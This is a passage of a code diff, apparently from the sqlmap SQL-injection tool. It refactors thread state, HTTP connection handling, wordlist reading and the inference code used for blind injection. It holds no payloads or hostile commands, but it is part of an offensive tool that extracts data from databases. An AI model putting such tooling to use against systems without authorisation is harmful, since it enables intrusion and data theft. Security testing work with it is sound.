+        try:
+            _(queries[dbms])
+        except:
+            retVal = False
+
     clearConsoleLine()
     if retVal:
         logger.info("smoke test final result: PASSED")

lib/core/threads.py

@@ -50,19 +50,20 @@ class _ThreadData(threading.local):
         self.lastComparisonHeaders = None
         self.lastComparisonCode = None
         self.lastComparisonRatio = None
-        self.lastErrorPage = None
+        self.lastErrorPage = tuple()
         self.lastHTTPError = None
         self.lastRedirectMsg = None
         self.lastQueryDuration = 0
         self.lastPage = None
         self.lastRequestMsg = None
         self.lastRequestUID = 0
-        self.lastRedirectURL = None
+        self.lastRedirectURL = tuple()
         self.random = WichmannHill()
         self.resumed = False
         self.retriesCount = 0
         self.seqMatcher = difflib.SequenceMatcher(None)
         self.shared = shared
+        self.technique = None
         self.validationRun = 0
         self.valueStack = []
 
@@ -72,13 +73,15 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
     # It will be overwritten by original from lib.core.common
     pass
 
+def isDigit(value):
+    # It will be overwritten by original from lib.core.common
+    pass
+
 def getCurrentThreadData():
     """
     Returns current thread's local data
     """
 
-    global ThreadData
-
     return ThreadData
 
 def getCurrentThreadName():
@@ -96,11 +99,13 @@ def exceptionHandledFunction(threadFunction, silent=False):
         kb.threadException = True
         raise
     except Exception as ex:
-        if not silent and kb.get("threadContinue"):
-            errMsg = ex.message if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, ex.message)
+        from lib.core.common import getSafeExString
+
+        if not silent and kb.get("threadContinue") and not isinstance(ex, SqlmapUserQuitException):
+            errMsg = getSafeExString(ex) if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, getSafeExString(ex))
             logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg))
 
-            if conf.get("verbose") > 1 and not isinstance(ex, (SqlmapUserQuitException,)):
+            if conf.get("verbose") > 1 and not isinstance(ex, SqlmapConnectionException):
                 traceback.print_exc()
 
 def setDaemon(thread):
@@ -113,8 +118,10 @@ def setDaemon(thread):
 def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardException=True, threadChoice=False, startThreadMsg=True):
     threads = []
 
+    kb.multipleCtrlC = False
     kb.threadContinue = True
     kb.threadException = False
+    kb.technique = ThreadData.technique
 
     if threadChoice and numThreads == 1 and not (kb.injection.data and not any(_ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in kb.injection.data)):
         while True:
@@ -122,10 +129,12 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
             choice = readInput(message, default=str(numThreads))
             if choice:
                 skipThreadCheck = False
+
                 if choice.endswith('!'):
                     choice = choice[:-1]
                     skipThreadCheck = True
-                if choice.isdigit():
+
+                if isDigit(choice):
                     if int(choice) > MAX_NUMBER_OF_THREADS and not skipThreadCheck:
                         errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS
                         logger.critical(errMsg)
@@ -183,6 +192,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
                 pass
 
         except KeyboardInterrupt:
+            kb.multipleCtrlC = True
             raise SqlmapThreadException("user aborted (Ctrl+C was pressed multiple times)")
 
         if forwardException:
@@ -193,22 +203,24 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
         kb.threadException = True
         logger.error("thread %s: '%s'" % (threading.currentThread().getName(), ex))
 
-        if conf.get("verbose") > 1:
+        if conf.get("verbose") > 1 and isinstance(ex, SqlmapValueException):
             traceback.print_exc()
 
     except:
-        from lib.core.common import unhandledExceptionMessage
-
         print()
-        kb.threadException = True
-        errMsg = unhandledExceptionMessage()
-        logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg))
-        traceback.print_exc()
+
+        if not kb.multipleCtrlC:
+            from lib.core.common import unhandledExceptionMessage
+
+            kb.threadException = True
+            errMsg = unhandledExceptionMessage()
+            logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg))
+            traceback.print_exc()
 
     finally:
-        kb.bruteMode = False
         kb.threadContinue = True
         kb.threadException = False
+        kb.technique = None
 
         for lock in kb.locks.values():
             if lock.locked():

lib/core/update.py

@@ -14,8 +14,8 @@ import time
 import zipfile
 
 from lib.core.common import dataToStdout
-from lib.core.common import getSafeExString
 from lib.core.common import getLatestRevision
+from lib.core.common import getSafeExString
 from lib.core.common import openFile
 from lib.core.common import pollProcess
 from lib.core.common import readInput
@@ -105,6 +105,7 @@ def update():
 
         dataToStdout("\r[%s] [INFO] update in progress" % time.strftime("%X"))
 
+        output = ""
         try:
             process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH)
             pollProcess(process, True)

lib/core/wordlist.py

@@ -18,7 +18,9 @@ class Wordlist(six.Iterator):
     Iterator for looping over a large dictionaries
 
     >>> from lib.core.option import paths
-    >>> isinstance(next(Wordlist(paths.SMALL_DICT)), six.string_types)
+    >>> isinstance(next(Wordlist(paths.SMALL_DICT)), six.binary_type)
+    True
+    >>> isinstance(next(Wordlist(paths.WORDLIST)), six.binary_type)
     True
     """
 
@@ -40,7 +42,7 @@ class Wordlist(six.Iterator):
     def adjust(self):
         self.closeFP()
         if self.index > len(self.filenames):
-            raise StopIteration
+            return  # Note: https://stackoverflow.com/a/30217723 (PEP 479)
         elif self.index == len(self.filenames):
             self.iter = iter(self.custom)
         else:
@@ -58,7 +60,7 @@ class Wordlist(six.Iterator):
                     raise SqlmapDataException(errMsg)
                 self.fp = _.open(_.namelist()[0])
             else:
-                self.fp = open(self.current, 'r')
+                self.fp = open(self.current, "rb")
             self.iter = iter(self.fp)
 
         self.index += 1

lib/parse/configfile.py

@@ -27,8 +27,6 @@ def configFileProxy(section, option, datatype):
     advanced dictionary.
     """
 
-    global config
-
     if config.has_option(section, option):
         try:
             if datatype == OPTION_TYPE.BOOLEAN:

lib/parse/handler.py

@@ -8,6 +8,7 @@ See the file 'LICENSE' for copying permission
 import re
 
 from xml.sax.handler import ContentHandler
+
 from lib.core.common import sanitizeStr
 
 class FingerprintHandler(ContentHandler):

lib/request/basic.py

@@ -34,6 +34,8 @@ from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.decorators import cachedmethod
+from lib.core.decorators import lockedmethod
+from lib.core.dicts import HTML_ENTITIES
 from lib.core.enums import DBMS
 from lib.core.enums import HTTP_HEADER
 from lib.core.enums import PLACE
@@ -49,7 +51,6 @@ from lib.core.settings import SELECT_FROM_TABLE_REGEX
 from lib.core.settings import VIEWSTATE_REGEX
 from lib.parse.headers import headersParser
 from lib.parse.html import htmlParser
-from lib.utils.htmlentities import htmlEntities
 from thirdparty import six
 from thirdparty.chardet import detect
 from thirdparty.identywaf import identYwaf
@@ -57,6 +58,7 @@ from thirdparty.odict import OrderedDict
 from thirdparty.six import unichr as _unichr
 from thirdparty.six.moves import http_client as _http_client
 
+@lockedmethod
 def forgeHeaders(items=None, base=None):
     """
     Prepare HTTP Cookie, HTTP User-Agent and HTTP Referer headers to use when performing
@@ -110,9 +112,9 @@ def forgeHeaders(items=None, base=None):
                     if conf.loadCookies:
                         conf.httpHeaders = filterNone((item if item[0] != HTTP_HEADER.COOKIE else None) for item in conf.httpHeaders)
                     elif kb.mergeCookies is None:
-                        message = "you provided a HTTP %s header value. " % HTTP_HEADER.COOKIE
-                        message += "The target URL provided its own cookies within "
-                        message += "the HTTP %s header which intersect with yours. " % HTTP_HEADER.SET_COOKIE
+                        message = "you provided a HTTP %s header value, while " % HTTP_HEADER.COOKIE
+                        message += "target URL provides its own cookies within "
+                        message += "HTTP %s header which intersect with yours. " % HTTP_HEADER.SET_COOKIE
                         message += "Do you want to merge them in further requests? [Y/n] "
 
                         kb.mergeCookies = readInput(message, default='Y', boolean=True)
@@ -341,7 +343,7 @@ def decodePage(page, contentEncoding, contentType):
             page = re.sub(b"%([0-9a-fA-F]{2})", lambda _: decodeHex(_.group(1)), page)
 
         # e.g. &
-        page = re.sub(b"&([^;]+);", lambda _: six.int2byte(htmlEntities[getText(_.group(1))]) if htmlEntities.get(getText(_.group(1)), 256) < 256 else _.group(0), page)
+        page = re.sub(b"&([^;]+);", lambda _: six.int2byte(HTML_ENTITIES[getText(_.group(1))]) if HTML_ENTITIES.get(getText(_.group(1)), 256) < 256 else _.group(0), page)
 
         kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page))
 
@@ -364,7 +366,7 @@ def decodePage(page, contentEncoding, contentType):
             page = re.sub(r"&#(\d+);", _, page)
 
         # e.g. &zeta;
-        page = re.sub(r"&([^;]+);", lambda _: _unichr(htmlEntities[_.group(1)]) if htmlEntities.get(_.group(1), 0) > 255 else _.group(0), page)
+        page = re.sub(r"&([^;]+);", lambda _: _unichr(HTML_ENTITIES[_.group(1)]) if HTML_ENTITIES.get(_.group(1), 0) > 255 else _.group(0), page)
 
     return page
 

lib/request/basicauthhandler.py

@@ -12,6 +12,7 @@ class SmartHTTPBasicAuthHandler(_urllib.request.HTTPBasicAuthHandler):
     Reference: http://selenic.com/hg/rev/6c51a5056020
     Fix for a: http://bugs.python.org/issue8797
     """
+
     def __init__(self, *args, **kwargs):
         _urllib.request.HTTPBasicAuthHandler.__init__(self, *args, **kwargs)
         self.retried_req = set()

lib/request/chunkedhandler.py

@@ -14,12 +14,12 @@ class ChunkedHandler(_urllib.request.HTTPHandler):
     """
 
     def _http_request(self, request):
-        host = request.get_host()
+        host = request.get_host() if hasattr(request, "get_host") else request.host
         if not host:
             raise _urllib.error.URLError("no host given")
 
-        if request.has_data():  # POST
-            data = request.get_data()
+        if request.data is not None:  # POST
+            data = request.data
             if not request.has_header("Content-type"):
                 request.add_unredirected_header(
                     "Content-type",

lib/request/comparison.py

@@ -5,6 +5,8 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
+from __future__ import division
+
 import re
 
 from lib.core.common import extractRegexResult
@@ -21,11 +23,11 @@ from lib.core.exception import SqlmapNoneDataException
 from lib.core.settings import DEFAULT_PAGE_ENCODING
 from lib.core.settings import DIFF_TOLERANCE
 from lib.core.settings import HTML_TITLE_REGEX
-from lib.core.settings import MIN_RATIO
+from lib.core.settings import LOWER_RATIO_BOUND
 from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH
 from lib.core.settings import MAX_RATIO
+from lib.core.settings import MIN_RATIO
 from lib.core.settings import REFLECTED_VALUE_MARKER
-from lib.core.settings import LOWER_RATIO_BOUND
 from lib.core.settings import UPPER_RATIO_BOUND
 from lib.core.settings import URI_HTTP_HEADER
 from lib.core.threads import getCurrentThreadData

lib/request/connect.py

@@ -7,6 +7,7 @@ See the file 'LICENSE' for copying permission
 
 import binascii
 import logging
+import random
 import re
 import socket
 import string
@@ -21,7 +22,6 @@ except ImportError:
     class WebSocketException(Exception):
         pass
 
-from extra.safe2bin.safe2bin import safecharencode
 from lib.core.agent import agent
 from lib.core.common import asciifyUrl
 from lib.core.common import calculateDeltaSeconds
@@ -41,8 +41,9 @@ from lib.core.common import getRequestHeader
 from lib.core.common import getSafeExString
 from lib.core.common import isMultiThreadMode
 from lib.core.common import logHTTPTraffic
-from lib.core.common import pushValue
+from lib.core.common import openFile
 from lib.core.common import popValue
+from lib.core.common import pushValue
 from lib.core.common import randomizeParameterValue
 from lib.core.common import randomInt
 from lib.core.common import randomStr
@@ -52,13 +53,14 @@ from lib.core.common import safeVariableNaming
 from lib.core.common import singleTimeLogMessage
 from lib.core.common import singleTimeWarnMessage
 from lib.core.common import stdev
-from lib.core.common import wasLastResponseDelayed
 from lib.core.common import unsafeVariableNaming
 from lib.core.common import urldecode
 from lib.core.common import urlencode
+from lib.core.common import wasLastResponseDelayed
 from lib.core.compat import patchHeaders
 from lib.core.compat import xrange
 from lib.core.convert import getBytes
+from lib.core.convert import getText
 from lib.core.convert import getUnicode
 from lib.core.data import conf
 from lib.core.data import kb
@@ -92,19 +94,19 @@ from lib.core.settings import DEFAULT_COOKIE_DELIMITER
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import DEFAULT_USER_AGENT
 from lib.core.settings import EVALCODE_ENCODED_PREFIX
-from lib.core.settings import HTTP_ACCEPT_HEADER_VALUE
 from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE
-from lib.core.settings import MAX_CONNECTION_CHUNK_SIZE
+from lib.core.settings import HTTP_ACCEPT_HEADER_VALUE
+from lib.core.settings import IPS_WAF_CHECK_PAYLOAD
+from lib.core.settings import IS_WIN
+from lib.core.settings import LARGE_READ_TRIM_MARKER
+from lib.core.settings import MAX_CONNECTION_READ_SIZE
 from lib.core.settings import MAX_CONNECTIONS_REGEX
 from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE
 from lib.core.settings import MAX_CONSECUTIVE_CONNECTION_ERRORS
 from lib.core.settings import MAX_MURPHY_SLEEP_TIME
 from lib.core.settings import META_REFRESH_REGEX
-from lib.core.settings import MIN_TIME_RESPONSES
 from lib.core.settings import MAX_TIME_RESPONSES
-from lib.core.settings import IPS_WAF_CHECK_PAYLOAD
-from lib.core.settings import IS_WIN
-from lib.core.settings import LARGE_CHUNK_TRIM_MARKER
+from lib.core.settings import MIN_TIME_RESPONSES
 from lib.core.settings import PAYLOAD_DELIMITER
 from lib.core.settings import PERMISSION_DENIED_REGEX
 from lib.core.settings import PLAIN_TEXT_CONTENT_TYPE
@@ -119,9 +121,10 @@ from lib.core.settings import WARN_TIME_STDEV
 from lib.request.basic import decodePage
 from lib.request.basic import forgeHeaders
 from lib.request.basic import processResponse
-from lib.request.direct import direct
 from lib.request.comparison import comparison
+from lib.request.direct import direct
 from lib.request.methodrequest import MethodRequest
+from lib.utils.safe2bin import safecharencode
 from thirdparty import six
 from thirdparty.odict import OrderedDict
 from thirdparty.six import unichr as _unichr
@@ -211,15 +214,18 @@ class Connect(object):
                     if not conn:
                         break
                     else:
-                        _ = conn.read(MAX_CONNECTION_CHUNK_SIZE)
+                        try:
+                            part = conn.read(MAX_CONNECTION_READ_SIZE)
+                        except AssertionError:
+                            part = ""
 
-                    if len(_) == MAX_CONNECTION_CHUNK_SIZE:
+                    if len(part) == MAX_CONNECTION_READ_SIZE:
                         warnMsg = "large response detected. This could take a while"
                         singleTimeWarnMessage(warnMsg)
-                        _ = re.sub(r"(?si)%s.+?%s" % (kb.chars.stop, kb.chars.start), "%s%s%s" % (kb.chars.stop, LARGE_CHUNK_TRIM_MARKER, kb.chars.start), _)
-                        retVal += _
+                        part = re.sub(r"(?si)%s.+?%s" % (kb.chars.stop, kb.chars.start), "%s%s%s" % (kb.chars.stop, LARGE_READ_TRIM_MARKER, kb.chars.start), part)
+                        retVal += part
                     else:
-                        retVal += _
+                        retVal += part
                         break
 
                     if len(retVal) > MAX_CONNECTION_TOTAL_SIZE:
@@ -294,7 +300,7 @@ class Connect(object):
                 post = _urllib.parse.unquote(post)
                 post = chunkSplitPostData(post)
 
-        websocket_ = url.lower().startswith("ws")
+        webSocket = url.lower().startswith("ws")
 
         if not _urllib.parse.urlsplit(url).netloc:
             url = _urllib.parse.urljoin(conf.url, url)
@@ -346,8 +352,8 @@ class Connect(object):
                 pass
 
             elif target:
-                if conf.forceSSL and _urllib.parse.urlparse(url).scheme != "https":
-                    url = re.sub(r"(?i)\Ahttp:", "https:", url)
+                if conf.forceSSL:
+                    url = re.sub(r"(?i)\A(http|ws):", r"\g<1>s:", url)
                     url = re.sub(r"(?i):80/", ":443/", url)
 
                 if PLACE.GET in conf.parameters and not get:
@@ -422,6 +428,14 @@ class Connect(object):
             if auxHeaders:
                 headers = forgeHeaders(auxHeaders, headers)
 
+            if kb.headersFile:
+                content = openFile(kb.headersFile, "rb").read()
+                for line in content.split("\n"):
+                    line = getText(line.strip())
+                    if ':' in line:
+                        header, value = line.split(':', 1)
+                        headers[header] = value
+
             for key, value in list(headers.items()):
                 del headers[key]
                 if isinstance(value, six.string_types):
@@ -434,7 +448,7 @@ class Connect(object):
 
             post = getBytes(post)
 
-            if websocket_:
+            if webSocket:
                 ws = websocket.WebSocket()
                 ws.settimeout(timeout)
                 ws.connect(url, header=("%s: %s" % _ for _ in headers.items() if _[0] not in ("Host",)), cookie=cookie)  # WebSocket will add Host field of headers automatically
@@ -631,19 +645,19 @@ class Connect(object):
             if responseHeaders:
                 logHeaders = getUnicode("".join(responseHeaders.headers).strip())
 
-            logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]), start, time.time())
+            logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_READ_SIZE]), start, time.time())
 
             skipLogTraffic = True
 
             if conf.verbose <= 5:
                 responseMsg += getUnicode(logHeaders)
             elif conf.verbose > 5:
-                responseMsg += "%s\r\n\r\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE])
+                responseMsg += "%s\r\n\r\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_READ_SIZE])
 
             if not multipart:
                 logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
 
-            if ex.code != conf.ignoreCode:
+            if ex.code not in (conf.ignoreCode or []):
                 if ex.code == _http_client.UNAUTHORIZED:
                     errMsg = "not authorized, try to provide right HTTP "
                     errMsg += "authentication type and valid credentials (%d)" % code
@@ -745,21 +759,17 @@ class Connect(object):
 
                 if kb.connErrorCounter >= MAX_CONSECUTIVE_CONNECTION_ERRORS and kb.connErrorChoice is None:
                     message = "there seems to be a continuous problem with connection to the target. "
-                    message += "Are you sure that you want to continue "
-                    message += "with further target testing? [y/N] "
+                    message += "Are you sure that you want to continue? [y/N] "
 
                     kb.connErrorChoice = readInput(message, default='N', boolean=True)
 
-                if kb.connErrorChoice is not None:
-                    if kb.connErrorChoice:
-                        raise SqlmapConnectionException(warnMsg)
-                    else:
-                        raise SqlmapUserQuitException
+                if kb.connErrorChoice is False:
+                    raise SqlmapUserQuitException
 
             if "forcibly closed" in tbMsg:
                 logger.critical(warnMsg)
                 return None, None, None
-            elif ignoreTimeout and any(_ in tbMsg for _ in ("timed out", "IncompleteRead")):
+            elif ignoreTimeout and any(_ in tbMsg for _ in ("timed out", "IncompleteRead", "Interrupted system call")):
                 return None if not conf.ignoreTimeouts else "", None, None
             elif threadData.retriesCount < conf.retries and not kb.threadException:
                 warnMsg += ". sqlmap is going to retry the request"
@@ -815,12 +825,12 @@ class Connect(object):
             if responseHeaders:
                 logHeaders = getUnicode("".join(responseHeaders.headers).strip())
 
-            logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]), start, time.time())
+            logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_READ_SIZE]), start, time.time())
 
             if conf.verbose <= 5:
                 responseMsg += getUnicode(logHeaders)
             elif conf.verbose > 5:
-                responseMsg += "%s\r\n\r\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE])
+                responseMsg += "%s\r\n\r\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_READ_SIZE])
 
             if not multipart:
                 logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
@@ -829,7 +839,7 @@ class Connect(object):
 
     @staticmethod
     @stackedmethod
-    def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False):
+    def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False, ignoreSecondOrder=False):
         """
         This method calls a function to get the target URL page content
         and returns its page ratio (0 <= ratio <= 1) or a boolean value
@@ -1029,7 +1039,7 @@ class Connect(object):
                 return retVal
 
             token = AttribDict()
-            page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.method if conf.csrfUrl == conf.url else None, cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
+            page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
             page = urldecode(page)  # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...')
 
             match = re.search(r"(?i)<input[^>]+\bname=[\"']?(?P<name>%s)\b[^>]*\bvalue=[\"']?(?P<value>[^>'\"]*)" % conf.csrfToken, page or "", re.I)
@@ -1099,7 +1109,8 @@ class Connect(object):
                 match = re.search(r"(\A|\b)%s=(?P<value>[^&;]*)" % re.escape(randomParameter), paramString)
                 if match:
                     origValue = match.group("value")
-                    retVal = re.sub(r"(\A|\b)%s=[^&;]*" % re.escape(randomParameter), "%s=%s" % (randomParameter, randomizeParameterValue(origValue)), paramString)
+                    newValue = randomizeParameterValue(origValue) if randomParameter not in kb.randomPool else random.sample(kb.randomPool[randomParameter], 1)[0]
+                    retVal = re.sub(r"(\A|\b)%s=[^&;]*" % re.escape(randomParameter), "%s=%s" % (randomParameter, newValue), paramString)
                 return retVal
 
             for randomParameter in conf.rParam:
@@ -1328,17 +1339,18 @@ class Connect(object):
                     warnMsg += "behavior in custom WAF/IPS solutions"
                 singleTimeWarnMessage(warnMsg)
 
-        if conf.secondUrl:
-            page, headers, code = Connect.getPage(url=conf.secondUrl, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
-        elif kb.secondReq and IPS_WAF_CHECK_PAYLOAD not in _urllib.parse.unquote(value or ""):
-            def _(value):
-                if kb.customInjectionMark in (value or ""):
-                    if payload is None:
-                        value = value.replace(kb.customInjectionMark, "")
-                    else:
-                        value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), payload, value)
-                return value
-            page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
+        if not ignoreSecondOrder:
+            if conf.secondUrl:
+                page, headers, code = Connect.getPage(url=conf.secondUrl, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
+            elif kb.secondReq and IPS_WAF_CHECK_PAYLOAD not in _urllib.parse.unquote(value or ""):
+                def _(value):
+                    if kb.customInjectionMark in (value or ""):
+                        if payload is None:
+                            value = value.replace(kb.customInjectionMark, "")
+                        else:
+                            value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), payload, value)
+                    return value
+                page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
 
         threadData.lastQueryDuration = calculateDeltaSeconds(start)
 

lib/request/direct.py

@@ -7,7 +7,6 @@ See the file 'LICENSE' for copying permission
 
 import time
 
-from extra.safe2bin.safe2bin import safecharencode
 from lib.core.agent import agent
 from lib.core.common import Backend
 from lib.core.common import calculateDeltaSeconds
@@ -25,8 +24,8 @@ from lib.core.enums import CUSTOM_LOGGING
 from lib.core.enums import DBMS
 from lib.core.enums import EXPECTED
 from lib.core.enums import TIMEOUT_STATE
-from lib.core.settings import TAKEOVER_TABLE_PREFIX
 from lib.core.settings import UNICODE_ENCODING
+from lib.utils.safe2bin import safecharencode
 from lib.utils.timeout import timeout
 
 def direct(query, content=True):
@@ -54,7 +53,7 @@ def direct(query, content=True):
 
     if not select and "EXEC " not in query.upper():
         timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None)
-    elif not (output and ("%soutput" % TAKEOVER_TABLE_PREFIX) not in query and ("%sfile" % TAKEOVER_TABLE_PREFIX) not in query):
+    elif not (output and ("%soutput" % conf.tablePrefix) not in query and ("%sfile" % conf.tablePrefix) not in query):
         output, state = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None)
         if state == TIMEOUT_STATE.NORMAL:
             hashDBWrite(query, output, True)

lib/request/dns.py

@@ -84,7 +84,7 @@ class DNSServer(object):
         except:
             pass
         finally:
-            if response and "google" in response:
+            if response and b"google" in response:
                 raise socket.error("another DNS service already running on *:53")
 
     def pop(self, prefix=None, suffix=None):

lib/request/inject.py

@@ -19,10 +19,12 @@ from lib.core.common import expandAsteriskForColumns
 from lib.core.common import extractExpectedValue
 from lib.core.common import filterNone
 from lib.core.common import getPublicTypeMembers
+from lib.core.common import getTechnique
 from lib.core.common import getTechniqueData
 from lib.core.common import hashDBRetrieve
 from lib.core.common import hashDBWrite
 from lib.core.common import initTechnique
+from lib.core.common import isDigit
 from lib.core.common import isNoneValue
 from lib.core.common import isNumPosStrValue
 from lib.core.common import isTechniqueAvailable
@@ -31,12 +33,14 @@ from lib.core.common import popValue
 from lib.core.common import pushValue
 from lib.core.common import randomStr
 from lib.core.common import readInput
+from lib.core.common import setTechnique
 from lib.core.common import singleTimeWarnMessage
 from lib.core.compat import xrange
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.data import queries
+from lib.core.decorators import lockedmethod
 from lib.core.decorators import stackedmethod
 from lib.core.dicts import FROM_DUMMY_TABLE
 from lib.core.enums import CHARSET_TYPE
@@ -88,10 +92,17 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar
     if value is not None:
         return value
 
-    timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
+    timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
+
+    if timeBasedCompare and conf.threads > 1 and kb.forceThreads is None:
+        msg = "multi-threading is considered unsafe in "
+        msg += "time-based data retrieval. Are you sure "
+        msg += "of your choice (breaking warranty) [y/N] "
+
+        kb.forceThreads = readInput(msg, default='N', boolean=True)
 
     if not (timeBasedCompare and kb.dnsTest):
-        if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not conf.forceThreads):
+        if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not kb.forceThreads):
 
             if field and re.search(r"\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I):
                 expression = "SELECT %s FROM (%s)" % (field, expression)
@@ -153,9 +164,9 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
     parameter through a bisection algorithm.
     """
 
-    initTechnique(kb.technique)
+    initTechnique(getTechnique())
 
-    query = agent.prefixQuery(kb.injection.data[kb.technique].vector)
+    query = agent.prefixQuery(getTechniqueData().vector)
     query = agent.suffixQuery(query)
     payload = agent.payload(newValue=query)
     count = None
@@ -225,7 +236,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
                             elif choice == 'Q':
                                 raise SqlmapUserQuitException
 
-                            elif choice.isdigit() and int(choice) > 0 and int(choice) <= count:
+                            elif isDigit(choice) and int(choice) > 0 and int(choice) <= count:
                                 stopLimit = int(choice)
 
                                 infoMsg = "sqlmap is now going to retrieve the "
@@ -236,7 +247,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
                                 message = "how many? "
                                 stopLimit = readInput(message, default="10")
 
-                                if not stopLimit.isdigit():
+                                if not isDigit(stopLimit):
                                     errMsg = "invalid choice"
                                     logger.error(errMsg)
 
@@ -251,7 +262,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
 
                                 return None
 
-                    elif count and not count.isdigit():
+                    elif count and not isDigit(count):
                         warnMsg = "it was not possible to count the number "
                         warnMsg += "of entries for the SQL query provided. "
                         warnMsg += "sqlmap will assume that it returns only "
@@ -300,10 +311,10 @@ def _goBooleanProxy(expression):
     Retrieve the output of a boolean based SQL query
     """
 
-    initTechnique(kb.technique)
+    initTechnique(getTechnique())
 
     if conf.dnsDomain:
-        query = agent.prefixQuery(kb.injection.data[kb.technique].vector)
+        query = agent.prefixQuery(getTechniqueData().vector)
         query = agent.suffixQuery(query)
         payload = agent.payload(newValue=query)
         output = _goDns(payload, expression)
@@ -311,13 +322,13 @@ def _goBooleanProxy(expression):
         if output is not None:
             return output
 
-    vector = kb.injection.data[kb.technique].vector
+    vector = getTechniqueData().vector
     vector = vector.replace(INFERENCE_MARKER, expression)
     query = agent.prefixQuery(vector)
     query = agent.suffixQuery(query)
     payload = agent.payload(newValue=query)
 
-    timeBasedCompare = kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)
